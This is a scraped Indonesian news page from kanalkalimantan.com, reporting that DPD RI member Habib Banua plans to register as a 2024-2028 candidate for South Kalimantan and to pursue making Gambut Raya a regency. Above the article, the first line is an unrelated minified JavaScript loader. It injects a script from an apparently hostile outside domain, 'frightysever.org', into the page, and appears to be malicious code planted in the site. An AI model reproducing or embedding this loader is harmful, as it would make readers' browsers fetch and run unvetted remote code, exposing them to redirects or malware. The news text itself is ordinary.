(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pendaftaran bakal calon anggota Dewan Perwakilan Daerah (DPD) RI periode 2024-2028 dibuka KPU Kalimantan Selatan 1 Mei 2023.
Salah satu tokoh yang mantap akan mendaftarkan diri sebagai bakal calon anggota DPD RI Dapil Kalsel yaitu Pangeran Syarif Abdurrahman Bahasyim atau dikenal Habib Banua.
Lelaki yang saat ini masih aktif sebagai Anggota DPD RI yakin dapat kembali terpilih sebagai satu dari empat orang yang akan duduk sebagai Anggota DPD RI Dapil Kalsel 2024-2028.
Sejumlah persyaratan administrasi untuk mendaftar pun sudah disiapkannya. Termasuk dirinya telah dinyatakan lolos verifikasi administrasi dan faktual syarat minimal dukungan 2 ribu KTP untuk bakal calon anggota DPD RI.
Baca juga: Mantan Napi Bisa Daftar Bacaleg, KPU Kalsel Sebut Syarat yang Mesti Dipenuhi
“Persyaratan sudah lengkap. Insyaallah pada tanggal 1 Mei, kalau tidak berhalangan saya akan mendaftar ke KPU Kalsel,” katanya kepada kanalkalimantan.com, Jumat (28/4/2023) sore.
Sejumlah gagasan pun telah disiapkannya. Salah satunya Habib Banua mengangkat isu pemekaran wilayah Gambut Raya yang saat ini masih termasuk wilayah Kabupaten Banjar.
Menurutnya, di Komisi I DPD RI bidang Politik, hukum, dan pemerintah beberapa waktu lalu dirinya bersama sejumlah pihak telah mengusulkan Gambut Raya untuk dijadikan kabupaten di Kalimantan Selatan.
“Itu nanti yang akan saya perjuangkan jika masih di Komisi I,” ucapnya.
Menurutnya, proses pemekaran wilayah Gambut Raya telah sampai kepada pemenuhan persyaratan oleh panitia pemekaran. Sehingga dia optimis dapat merealisasikan pemekaran tersebut dalam waktu dekat.
“Tinggal panitia yang ada di Gambut Raya menyiapkan dan melengkapi persyaratan-persyaratanya,” kata Habib Banua.
Baca juga: KPU Banjarmasin Buka Pendaftaran Bacaleg Mulai 1 Mei
“Sehingga ketika moratorium pemekaran daerah otonomi baru (DOB) itu dicabut oleh pemerintah pusat, DPD akan langsung running,” tambahnya.
Diketahui, selain Habib Banua ada 9 nama lain yang juga dinyatakan lolos verifikasi administrasi dan faktual syarat dukungan minimal 2 ribu KTP untuk pencalonan DPD RI Dapil Kalsel.
Mereka antara lain, Antung Fatmawati, Habib Hamid Abdullah, Gusti Farid Hasan Aman, Habib Zakaria Bahasyim, Mohammad Sofwat Hadi, Muhammad Hidayatullah, Muhammad Yamin, Nanik Hayati, dan Sayid Umar Al Idrus. (Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, DENPASAR - PT PLN (Persero) siap menghadirkan listrik yang andal untuk mendukung penyelenggaraan Konferensi… Read More
KANALKALIMANTAN.COM, MARTAPURA - Santri TK Al Quran se-Kabupaten Banjar mengikuti Munaqasah yang digelar Badan Komunikasi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Peta koalisi partai politik jelang Pilkada 2024 di Kota Banjarbaru Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Teka-teki maju atau tidaknya Aditya Mufti Ariffin mulai terjawab, bahkan siapa calon… Read More
KANALKALIMANTAN.COM, BANJARBARU – Berawal dari temuan sarang kelulut di dalam pondasi rumah tinggal warga, muncul… Read More
KANALKALIMANTAN.COM, BANJARBARU - Nama Darmawan Jaya Setiawan menjadi orang pertama yang menyerahkan formulir pendaftaran penjaringan… Read More
This website uses cookies.